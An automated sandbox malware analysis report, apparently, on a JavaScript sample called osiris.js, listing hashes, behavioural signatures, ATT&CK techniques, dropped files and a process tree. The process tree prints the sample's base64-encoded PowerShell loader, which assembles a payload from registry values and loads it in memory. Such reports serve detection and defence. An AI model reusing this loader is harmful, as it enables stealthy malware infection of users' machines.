Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    26-01-2021 12:55

General

  • Target

    osiris.js

  • Size

    2.5MB

  • MD5

    e00ccaf47b31887d18ccc6d80aaa2a39

  • SHA1

    60b574bcda0024cf90ec3f7e97db28c58cc79552

  • SHA256

    20d1df07b4e17ee0821043733106bd179a520acd9ec307bdb1703df17cbf6ee7

  • SHA512

    5c3181b5440ac31079c8651d752ad890d84b5ee692b37168866e8c0bef1abfcc8d77311c5df7a7e0e72ad33c9ab999e4b096a199c832e42778565be2ede9c4c6

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Uses Tor communications 1 TTPs

    Malware can proxy its traffic through Tor for more anonymity.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6833 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\osiris.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3084
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAegBnAGIAbQBnAHMAdgBpACAAIwA+ACQAdQA9ACQAZQBuAHYAOgBVAHMAZQByAE4AYQBtAGUAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAANwAwADAAOwAkAGkAKwArACkAewAkAGMAPQAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcACIAKwAkAHUAKwAiADEAIgA7AFQAcgB5AHsAJABhAD0AJABhACsAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBwAGEAdABoACAAJABjACkALgAkAGkAfQBDAGEAdABjAGgAewB9AH0AOwBmAHUAbgBjAHQAaQBvAG4AIABjAGgAYgBhAHsAWwBjAG0AZABsAGUAdABiAGkAbgBkAGkAbgBnACgAKQBdAHAAYQByAGEAbQAoAFsAcABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQApAF0AWwBTAHQAcgBpAG4AZwBdACQAaABzACkAOwAkAEIAeQB0AGUAcwAgAD0AIABbAGIAeQB0AGUAWwBdAF0AOgA6AG4AZQB3ACgAJABoAHMALgBMAGUAbgBnAHQAaAAgAC8AIAAyACkAOwBmAG8AcgAoACQAaQA9ADAAOwAgACQAaQAgAC0AbAB0ACAAJABoAHMALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAPQAyACkAewAkAEIAeQB0AGUAcwBbACQAaQAvADIAXQAgAD0AIABbAGMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAeQB0AGUAKAAkAGgAcwAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABpACwAIAAyACkALAAgADEANgApAH0AJABCAHkAdABlAHMAfQA7ACQAaQAgAD0AIAAwADsAVwBoAGkAbABlACAAKAAkAFQAcgB1AGUAKQB7ACQAaQArACsAOwAkAGsAbwAgAD0AIABbAG0AYQB0AGgAXQA6ADoAUwBxAHIAdAAoACQAaQApADsAaQBmACAAKAAkAGsAbwAgAC0AZQBxACAAMQAwADAAMAApAHsAIABiAHIAZQBhAGsAfQB9AFsAYgB5AHQAZQBbAF0AXQAkAGIAIAA9ACAAYwBoAGIAYQAoACQAYQAuAHIAZQBwAGwAYQBjAGUAKAAiACMAIgAsACQAawBvACkAKQA7AFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABiACkAOwBbAE0AbwBkAGUAXQA6ADoAUwBlAHQAdQBwACgAKQA7AA== "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2940
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAegBnAGIAbQBnAHMAdgBpACAAIwA+ACQAdQA9ACQAZQBuAHYAOgBVAHMAZQByAE4AYQBtAGUAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAANwAwADAAOwAkAGkAKwArACkAewAkAGMAPQAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcACIAKwAkAHUAKwAiADEAIgA7AFQAcgB5AHsAJABhAD0AJABhACsAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBwAGEAdABoACAAJABjACkALgAkAGkAfQBDAGEAdABjAGgAewB9AH0AOwBmAHUAbgBjAHQAaQBvAG4AIABjAGgAYgBhAHsAWwBjAG0AZABsAGUAdABiAGkAbgBkAGkAbgBnACgAKQBdAHAAYQByAGEAbQAoAFsAcABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQApAF0AWwBTAHQAcgBpAG4AZwBdACQAaABzACkAOwAkAEIAeQB0AGUAcwAgAD0AIABbAGIAeQB0AGUAWwBdAF0AOgA6AG4AZQB3ACgAJABoAHMALgBMAGUAbgBnAHQAaAAgAC8AIAAyACkAOwBmAG8AcgAoACQAaQA9ADAAOwAgACQAaQAgAC0AbAB0ACAAJABoAHMALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAPQAyACkAewAkAEIAeQB0AGUAcwBbACQAaQAvADIAXQAgAD0AIABbAGMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAeQB0AGUAKAAkAGgAcwAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABpACwAIAAyACkALAAgADEANgApAH0AJABCAHkAdABlAHMAfQA7ACQAaQAgAD0AIAAwADsAVwBoAGkAbABlACAAKAAkAFQAcgB1AGUAKQB7ACQAaQArACsAOwAkAGsAbwAgAD0AIABbAG0AYQB0AGgAXQA6ADoAUwBxAHIAdAAoACQAaQApADsAaQBmACAAKAAkAGsAbwAgAC0AZQBxACAAMQAwADAAMAApAHsAIABiAHIAZQBhAGsAfQB9AFsAYgB5AHQAZQBbAF0AXQAkAGIAIAA9ACAAYwBoAGIAYQAoACQAYQAuAHIAZQBwAGwAYQBjAGUAKAAiACMAIgAsACQAawBvACkAKQA7AFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABiACkAOwBbAE0AbwBkAGUAXQA6ADoAUwBlAHQAdQBwACgAKQA7AA== "
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3608
        • C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe
          "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4036
          • C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe
            "C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe"
            5⤵
            • Executes dropped EXE
            PID:2032

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

System Information Discovery

1
T1082

Command and Control

Connection Proxy

1
T1090

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe
    MD5

    b4cd27f2b37665f51eb9fe685ec1d373

    SHA1

    7f08febf0fdb7fc9f8bf35a10fb11e7de431abe0

    SHA256

    91f1023142b7babf6ff75dad984c2a35bde61dc9e61f45483f4b65008576d581

    SHA512

    e025f65224d78f5fd0abebe281ac0d44a385b2641e367cf39eed6aefada20a112ac47f94d7febc4424f1db6a6947bac16ff83ef93a8d745b3cddfdbe64c49a1e

  • C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe
    MD5

    b4cd27f2b37665f51eb9fe685ec1d373

    SHA1

    7f08febf0fdb7fc9f8bf35a10fb11e7de431abe0

    SHA256

    91f1023142b7babf6ff75dad984c2a35bde61dc9e61f45483f4b65008576d581

    SHA512

    e025f65224d78f5fd0abebe281ac0d44a385b2641e367cf39eed6aefada20a112ac47f94d7febc4424f1db6a6947bac16ff83ef93a8d745b3cddfdbe64c49a1e

  • C:\Users\Admin\AppData\Local\Temp\x64btit.txt
    MD5

    ff4e76059fa0559cc4179b2a521c3c18

    SHA1

    cfbcb5827fd9a82d38efd0d395170547360f8557

    SHA256

    075ba1e2ad5eb30119593fd1125cdeb8e7b17451ac771de128689dc86d00d509

    SHA512

    0e406f7e1b6dc021c16379bef6c2f19cd0a60e56083704851e5b661d72420d617cd75d1a0d77edf7e4aa2055e78faf5b0b2ad82259623634149fef8b3b43bcde

  • memory/2032-28-0x0000000000000000-mapping.dmp
  • memory/2940-3-0x0000000000000000-mapping.dmp
  • memory/3608-17-0x0000000008FC0000-0x0000000008FC1000-memory.dmp
    Filesize

    4KB

  • memory/3608-19-0x0000000008F20000-0x0000000008F21000-memory.dmp
    Filesize

    4KB

  • memory/3608-10-0x0000000006DC0000-0x0000000006DC1000-memory.dmp
    Filesize

    4KB

  • memory/3608-11-0x00000000075B0000-0x00000000075B1000-memory.dmp
    Filesize

    4KB

  • memory/3608-12-0x0000000007620000-0x0000000007621000-memory.dmp
    Filesize

    4KB

  • memory/3608-13-0x0000000007870000-0x0000000007871000-memory.dmp
    Filesize

    4KB

  • memory/3608-14-0x00000000076E0000-0x00000000076E1000-memory.dmp
    Filesize

    4KB

  • memory/3608-15-0x0000000008160000-0x0000000008161000-memory.dmp
    Filesize

    4KB

  • memory/3608-16-0x0000000007F90000-0x0000000007F91000-memory.dmp
    Filesize

    4KB

  • memory/3608-7-0x0000000004890000-0x0000000004891000-memory.dmp
    Filesize

    4KB

  • memory/3608-18-0x0000000008CC0000-0x0000000008CC1000-memory.dmp
    Filesize

    4KB

  • memory/3608-9-0x0000000006F80000-0x0000000006F81000-memory.dmp
    Filesize

    4KB

  • memory/3608-20-0x0000000009560000-0x0000000009561000-memory.dmp
    Filesize

    4KB

  • memory/3608-21-0x0000000008FB0000-0x0000000008FB2000-memory.dmp
    Filesize

    8KB

  • memory/3608-22-0x0000000009190000-0x00000000092DC000-memory.dmp
    Filesize

    1.3MB

  • memory/3608-4-0x0000000000000000-mapping.dmp
  • memory/3608-5-0x00000000739C0000-0x00000000740AE000-memory.dmp
    Filesize

    6.9MB

  • memory/3608-6-0x0000000004790000-0x0000000004791000-memory.dmp
    Filesize

    4KB

  • memory/3608-27-0x0000000004893000-0x0000000004894000-memory.dmp
    Filesize

    4KB

  • memory/3608-8-0x0000000004892000-0x0000000004893000-memory.dmp
    Filesize

    4KB

  • memory/4036-25-0x0000000000400000-0x0000000000456000-memory.dmp
    Filesize

    344KB

  • memory/4036-26-0x0000000002E00000-0x0000000002E9F000-memory.dmp
    Filesize

    636KB

  • memory/4036-24-0x0000000000401698-mapping.dmp
  • memory/4036-23-0x0000000000400000-0x0000000000456000-memory.dmp
    Filesize

    344KB